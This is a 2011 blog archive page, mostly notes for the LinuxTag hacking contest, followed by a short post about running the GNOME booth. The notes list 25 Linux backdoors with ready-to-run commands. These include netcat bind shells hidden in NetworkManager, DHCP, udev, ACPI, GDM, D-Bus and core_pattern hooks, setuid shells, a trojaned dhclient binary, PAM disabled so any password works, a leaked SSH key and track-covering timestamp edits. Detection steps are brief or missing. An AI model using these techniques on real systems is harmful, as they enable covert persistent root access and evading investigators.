Archive for May, 2011

LinuxTag Hacking Contest Notes

Monday, May 30th, 2011

As I wrote the other day, I have been to LinuxTag in Berlin. And Almost like last year a Hacking contest took place.

LinuxTag 2011 - Hacking Contest

The rules were quite the same: Two teams play against each other, each team having a laptop. The game has three rounds of 15 minutes each. In the first round the teams swap their laptops so that you have the opponents machine. You are supposed to hide backdoors and other stuff. In the second round the laptops are swapped back and you have to find and remove these backdoors. For the third round the laptops are swapped once again and you can show off what backdoors were left in the system.

So preparation seems to be the obvious key factor for winning. While I did prepare some notes, they turned out to not be very good for the actual contest, because they are not structured well enough.

Since the game has three rounds, it makes sense to have a structure with three parts as well. Hence I produced a new set of notes with headlines for each backdoor and three parts per section. Namely Hacking, Fixing and Exploiting.

The notes weren’t all ready just before the contest and hence we didn’t score pretty well. But I do think that our notes are quite cool by now though. Next time, when we’re more used to the situation and hopefully learned through suffering to not make all those tiny mistakes we did, we might play better.

So enjoy the following notes and feel free to give feedback.

Set Keyboard to US English:

setxkbmap us
export HISTFILE=/dev/null
ln -sf ~/.bash_history /dev/null
ln -sf ~/.viminfo /dev/null

while true; do find / -exec touch {} \; ; sleep 2; done


1
  passwd new user

Remote
root


1.1
  Hacking

nano /etc/passwd

copy and paste root user to a new user, i.e. hackr.

sudo passwd hackr


1.2
  Fixing

grep :0: /etc/passwd


1.3
  Exploiting

ssh hackr@localhost


2
  dePAMify

Remote
root


2.1
  Hacking

cd /lib/security/
cp pam_permit.so pam_deny.so
echo > /etc/pam.d/sshd
/etc/init.d/sshd restart


2.2
  Fixing

too hard


2.3
  Exploiting

ssh root@localhost

enter any password


3
  NetworkManager

Remote
root


3.1
  Hacking

nano /etc/NetworkManager/dispatcher.d/01ifupdown <<EOF
nc.traditional -l -p 31346 -e /bin/bash &
cp /bin/dash /etc/NetworkManager/dhclient
chmod +s /etc/NetworkManager/dhclient
EOF


3.2
  Fixing

ls /etc/NetworkManager/dispatcher.d/


3.3
  Exploiting

less /etc/NetworkManager/dispatcher.d/

Disconnect Network via NetworkManager

Connect Network via NetworkManager

/etc/NetworkManager/dhclient

netcat localhost 31346


4
  SSHd

Remote
root


4.1
  Hacking

su -
ssh-keygen
cd
cat .ssh/id_rsa.pub | tee /etc/ssh/authorized_keys
cat .ssh/id_rsa | tee /etc/issue.net
cp /etc/ssh/sshd_config /tmp/
nano /etc/ssh/sshd_config <<EOF
AuthorizedKeysFile /etc/ssh/authorized_keys
Banner /etc/issue.net
EOF

/etc/init.d/ssh reload
mv /tmp/sshd_config /etc/ssh/


4.2
  Fixing

less /etc/ssh/sshd_config

/etc/init.d/ssh reload


4.3
  Exploiting

ssh root@localhost 2> /tmp/root
chmod u=r,go= $_
ssh  -i /tmp/root root@localhost


5
  xinetd

Remote
root


5.1
  Hacking

cp  /etc/xinetd.d/chargen  /etc/xinetd.d/chargen.bak

nano /etc/xinetd.d/chargen <<EOF

disable = no
DELETE type = INTERNAL
server = /bin/dash
EOF

/etc/init.d/xinetd restart

mv /etc/xinetd.d/chargen.bak  /etc/xinetd.d/chargen


5.2
  Fixing

grep disable  /etc/xinetd.d/* | grep no


5.3
  Exploiting

nc localhost chargen


6
  Apache

Remote
root

Needs testing


6.1
  Hacking

nano /etc/apache2/sites-enabled/000-default

DocumentRoot /
Make <Directory />  and copy allowance from below

/etc/init.d/apache2 restart

touch /usr/lib/cgi-bin/fast-cgid
chmod a+rwxs $_
touch /usr/lib/cgi-bin/fast-cgid.empty
chmod a+rwxs $_
nano /usr/lib/cgi-bin/fast-cgid <<EOF
    #!/bin/bash
    IFS=+
    $QUERY_STRING
EOF

nano /etc/sudoers <<EOF
www-data ALL=NOPASSWD: ALL
EOF


6.2
  Fixing

ls -l /usr/lib/cgi-bin/

nano /etc/apache2/sites-enabled/*

/etc/init.d/apache2 restart


6.3
  Exploiting

links2 http://localhost/  # Remote file access
links2 http://localhost/cgi-bin/fast-cgid?id # Remote command execution
grep NOPASS /etc/sudoers  # local privilege escalation
links2 http://localhost/cgi-bin/fast-cgid?sudo+id # Remote root command execution

nano /usr/lib/cgi-bin/fast-cgid.empty <<EOF
/bin/dash
EOF

/usr/lib/cgi-bin/fast-cgid.empty # local privilege escalation


7
  screen

Local
root


7.1
  Hacking

sudo chmod u+s /bin/dash
sudo mkdir -p /etc/screen.d/user/
sudo chmod o+rwt /etc/screen.d/user/
# NOW AS USER!!1
SCREENDIR=/etc/screen.d/user/ screen
# IN THE SCREEN
dash
C-d


7.2
  Fixing

ls -l /var/run/screen
rm -rf /var/run/screen/*

sudo lsof | grep -i screen | grep FIFO
rm these files


7.3
  Exploiting

SCREENDIR=/etc/screen.d/user/ screen -x


8
  hidden root dash

Local
root


8.1
  Hacking

cp /bin/dash /usr/bin/pkexec.d
chmod +s !$
cp /bin/dash /etc/init.d/powersaved
chmod +s !$


8.2
  Fixing

find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \;

rm these files


8.3
  Exploiting

/etc/init.d/powersaved

/usr/bin/pkexec.d


9
  DHCP Hook

Local
Remote
root


9.1
  Hacking

nano /etc/dhcp3/dhclient-exit-hooks.d/debug <<EOF
nc.traditional -l -p 31347 &
cp /bin/dash /var/run/dhclient
chmod +s /var/run/dhclient
EOF


9.2
  Fixing

ls -l /etc/dhcp3/dhclient-exit-hooks.d/
ls -l /etc/dhcp3/dhclient-enter-hooks.d/


9.3
  Exploiting

Reconnect Network via DHCP

/var/run/dhclient

netcat localhost 31347


10
  ConsoleKit

Local
root

Switchen VTs is triggered locally only, although one might argue that switching terminals is done every boot. Hence it’s kinda automatic.


10.1
  Hacking

sudo -s
touch /usr/lib/ConsoleKit/run-seat.d/run-root.ck
chmod a+x /usr/lib/ConsoleKit/run-seat.d/run-root.ck
nano /usr/lib/ConsoleKit/run-seat.d/run-root.ck

#!/bin/sh

chmod u+s /bin/dash
nc.traditional -l -p 31337 -e /bin/dash &


10.2
  Fixing

ls /usr/lib/ConsoleKit/run-seat.d/

Only one symlink named udev-acl.ck is supposed to be there.


10.3
  Exploiting

ls /usr/lib/ConsoleKit/run-seat.d/

Switch TTY (Ctrl+Alt+F3)

execute /bin/dash

nc IP 31337


11
  SIGSEGV

Local
root


11.1
  Hacking

echo '|/bin/nc.traditional -l -p 31335 -e /bin/dash' > /proc/sys/kernel/core_pattern


11.2
  Fixing

cat /proc/sys/kernel/core_pattern
echo core > /proc/sys/kernel/core_pattern


11.3
  Exploiting

ulimit -c unlimited

sleep 1m & pkill -SEGV sleep

nc localhost 31335


12
  nc wrapper

Remote
Local
root


12.1
  Hacking

setxkbmap us
cd /tmp/
cat > dhclient.c <<EOF
#include <unistd.h>

int main (int argc, char* args[]) {
    int ret = fork ();
    if (ret == 0) {
        chmod("/bin/dash", 04755);
        execlp ("/usr/bin/nc.traditional", "nc.traditional",
            "-l" ,"-p", "31339", "-e", "/bin/dash", (char*) NULL);
    } else
        execvp("/sbin/dhclient6", args);
    return 0;
}
EOF

/etc/init.d/networking stop                # Or disable via NotworkManager
make dhclient
cp /sbin/dhclient /sbin/dhclient6
cp dhclient /sbin/dhclient
cp dhclient /etc/cron.hourly/ntpdate
cp dhclient /sbin/mount.btrfs
cp dhclient /usr/lib/cgi-bin/cgi-handler
chmod ug+s /sbin/mount.btrfs /usr/lib/cgi-bin/cgi-handler
rm dhclient.c
/etc/init.d/networking start               # Or enable via NotworkManager


12.2
  Fixing


12.3
  Exploiting


12.3.1
  real dhclient

Disconnect with Network Manager

Connect with NetworkManager

dash

nc localhost 31339


12.3.2
  cron

Just wait. Or reboot.


13
  evbug

Remote

Writes Keycodes to syslog.
Type: 1 are keypresses, and “code” is the actual keycode.
evtest shows which key maps to which keycode.

Unfortunately, Debian does not seem to have that module.


13.1
  Hacking

modprobe evbug
%FIXME: Maybe pull netconsole

nano /etc/modprobe.d/blacklist.conf


13.2
  Fixing

modprobe -r evbug


13.3
  Exploiting

dmesg | grep  "Type: 1"


14
  Vino

Remote


14.1
  Hacking

sudo -s
xhost +
nohup /usr/lib/vino/vino-server &
vino-preferences


14.2
  Fixing

vino-preferences

ps aux | grep vnc


14.3
  Exploiting

vncviewer IP


15
  GDM InitScript

Local
Remote
root


15.1
  Hacking

nano /etc/gdm/Init/Default <<EOF
cp /bin/dash /etc/gdm/gdm-greeter
chmod +s /etc/gdm/gdm-greeter
nc.traditional -l -p 31345 -e /bin/dash &
EOF


15.2
  Fixing

less /etc/gdm/Init/Default


15.3
  Exploiting

Log off

Log on

/etc/gdm/gdm-greeter

nc localhost 31345


16
  shadow a+rw

Local
root


16.1
  Hacking

chmod a+rw /etc/shadow


16.2
  Fixing

ls -l /etc/shadow

chmod u=rw,g=r /etc/shadow


16.3
  Exploiting

nano /etc/shadow


17
  SysV Init Alt+Up

Local
root


17.1
  Hacking

touch /etc/init.d/throttle
chmod a+x $_
nano $_ <<EOF
#!/bin/sh
exec </dev/tty13 >/dev/tty13 2>/dev/tty13
exec /bin/bash
EOF

nano /etc/inittab <<EOF
kb::kbrequest:/etc/init.d/throttle
EOF

init q


17.2
  Fixing

nano /etc/inittab


17.3
  Exploiting

Ctrl+Alt+F1, Alt+Up, Alt+Left


18
  SysV Init Ctrl+Alt+Del

Local
root


18.1
  Hacking

nano /etc/inittag <<EOF
ca:12345:ctrlaltdel:chmod +s /bin/dash
EOF

init q


18.2
  Fixing

nano /etc/inittag


18.3
  Exploiting

Ctrl+Alt+F1, Ctrl+Alt+Del, dash


19
  SysV Init tty14

Local
root


19.1
  Hacking

nano /etc/inittag <<EOF
14:23:respawn:/bin/login -f root </dev/tty14 >/dev/tty14 2>/dev/tty14
EOF

init q


19.2
  Fixing

less /etc/inittag


19.3
  Exploiting

Ctrl+Alt+F1, Alt+Left


20
  DBus Root Service

Local
root


20.1
  Hacking

cd /usr/share/dbus-1/system-services/
cp org.freedesktop.org.UPower org.Rootme.Remotely.service
nano org.Rootme.Remotely.service << EOF
[D-BUS Service]
Name=org.Rootme.Remotely
Exec=/bin/nc.traditional -l -p 31343 -e /bin/dash
User=root
EOF

cp org.freedesktop.org.UPower org.Rootme.Locally.service
nano org.Rootme.Locally.service << EOF
[D-BUS Service]
Name=org.Rootme.Locally
Exec=/bin/chmod u+s /bin/dash
User=root
EOF



20.2
  Fixing

grep Exec /usr/share/dbus-1/system-services/*.service


20.3
  Exploiting

dbus-send -system -print-reply -dest='org.Rootme.Locally' /org/Rootme/Locally org.Rootme.Locally

dbus-send -system -print-reply -dest='org.Rootme.Remotely' /org/Rootme/Remotely org.Rootme.Remotely

nc localhost 31343

dash


21
  Crontabs

Local
Remote
root


21.1
  Hacking

touch /etc/cron.d/pamd
chmod a+x /etc/cron.d/pamd
nano /etc/cron.d/pamd <<EOF
*/2 * * * *   root  cp /bin/dash /usr/share/gdm/chooser
*/2 * * * *   root  chmod +s /usr/share/gdm/chooser
EOF

touch /etc/cron.d/dhclient
chmod a+x /etc/cron.d/dhclient
nano /etc/cron.d/dhclient <<EOF
*/2 * * * *   root  /sbin/mount.btrfs
EOF


21.2
  Fixing

sudo ls -l /var/spool/cron/crontabs/ /etc/cron.*/


21.3
  Exploiting

ls -l /etc/cron.d/dhclient /etc/cron.d/pamd /usr/share/gdm/chooser

Wait

/usr/share/gdm/chooser

nc -l localhost 31339


22
  udev

Localroot

udev is responsible for devices being attached to Linux.
It is able to trigger commands on certain hardware.
Under the assumption that a Laptop will have a rfkill switch, one could write the following rules.
Note that the commands block, i.e. to hit the second rule, the first program must exist.
udev automatically reloads the rules.


22.1
  Hacking

nano /lib/udev/rules.d/99-rfkill.rules <<EOF
SUBSYSTEM=="rfkill", RUN +="/bin/nc.traditional -l -p 31337 -e /bin/sh"
SUBSYSTEM=="rfkill", RUN +="/bin/chmod +s /bin/dash"
EOF


22.2
  Fixing

grep RUN /lib/udev/rules.d/* /etc/udev/rules.d/

but too hard


22.3
  Exploiting

toggle rfkill via hardware switch

nc localhost 31344

dash


23
  ACPI Powerbtn

Local
root


23.1
  Hacking

nano /etc/acpi/powerbtn.sh <<EOF
nc.traditional -l -p 31348 -e /bin/sh
/bin/chmod +s /bin/dash
EOF


23.2
  Fixing

ls /etc/acpi/

less /etc/acpi/powerbtn.sh


23.3
  Exploiting

Press power button

nc localhost 31348

dash


24
  PolicyKit GrantAll

Local
root

Note that this reflects policykit 0.96 which has a deprecated config file syntax.


24.1
  Hacking

nano /usr/share/polkit-1/actions/org.freedesktop.policykit.policy

change org.freedesktop.policykit.exec to read
    <defaults>
      <allow_any>yes</allow_any>
      <allow_inactive>yes</allow_inactive>
      <allow_active>yes</allow_active>
    </defaults>

pkill polkitd


24.2
  Fixing

nano /usr/share/polkit-1/actions/org.freedesktop.policykit.policy

change org.freedesktop.policykit.exec to read
      <allow_any>auth_admin</allow_any>
      <allow_inactive>auth_admin</allow_inactive>
      <allow_active>auth_admin</allow_active>

pkill polkitd


24.3
  Exploiting

pkexec id


25
  decoy timestamps

No hack in the traditional sense but stuff that one might need to do.


25.1
  Hacking

for i in `find /etc/ /bin/ /sbin/ /var/spool/
          /var/run /usr/lib/ConsoleKit /usr/share/dbus-1/ /usr/share/polkit-1/`; do
    touch $i; done
export HISTFILE=/dev/null
rm ~/.*history*


25.2
  Fixing


25.3
  Exploiting

find / -mtime -1

find / -ctime -1

GNOME at LinuxTag 2011

Tuesday, May 17th, 2011

Last week, I had the pleasure to attend LinuxTag and manage the GNOME booth. All in all, the GNOME booth went quite well. We had loads of visitors wanting to see the new GNOME Shell and discuss its design. But it was such a busy time that I didn’t even had the opportunity to leave the booth and look at all the other projects. It was, however, pretty nice. It took me a day to recover though. Being at the booth for all the four conference days in a row from (ideally) 09:00 until 18:00, always smiling and entertaining was quite exhausting.

To help the GNOME presence: I printed flyers and posters all day before LinuxTag. It was a pain to do, because we are lacking good material. We do have some Brochures to print out, but they are either outdated or in a miserable quality. It definitely needs some quality brochures for GNOME. We have more Posters and some of them are really nice. But I couldn’t render some of them because of bugs somewhere in the stack. Anyway, I managed to print posters on A4 paper which meant that they had to be glued together… To ease poster printing in the future, I uploaded the PDFs I generated to the wiki.

What worked well was our booth setup: We had Posters, Sticker, Flyers and (thanks to openSuSE) GNOME 3 Live DVDs to give away. Also our booth looked nice with GNOME banners hanging from the walls. Also, the ordered furniture looked nice to the outside, i.e. a presenter desk, a long cupboard and a bar table together with bar chairs made it look inviting. However, we lacked a small table and some chairs to cater for the many friends that were in the booth and not in front. Thanks to all the helping people. It was really awesome how quickly our booth looked nicely.

And fortunately, there is room for improvement. It would have been nice if we brought, i.e. T-Shirts to sell or Posters and Flyers for the GUADEC. But everything was still really okay. I hope we manage to do so well next year, too.

So thanks to Canonical for the EventsBox and openSuSE for the DVDs! If you happen to be in the need of some of the DVDs, give me a shout and we’ll arrange the shipping.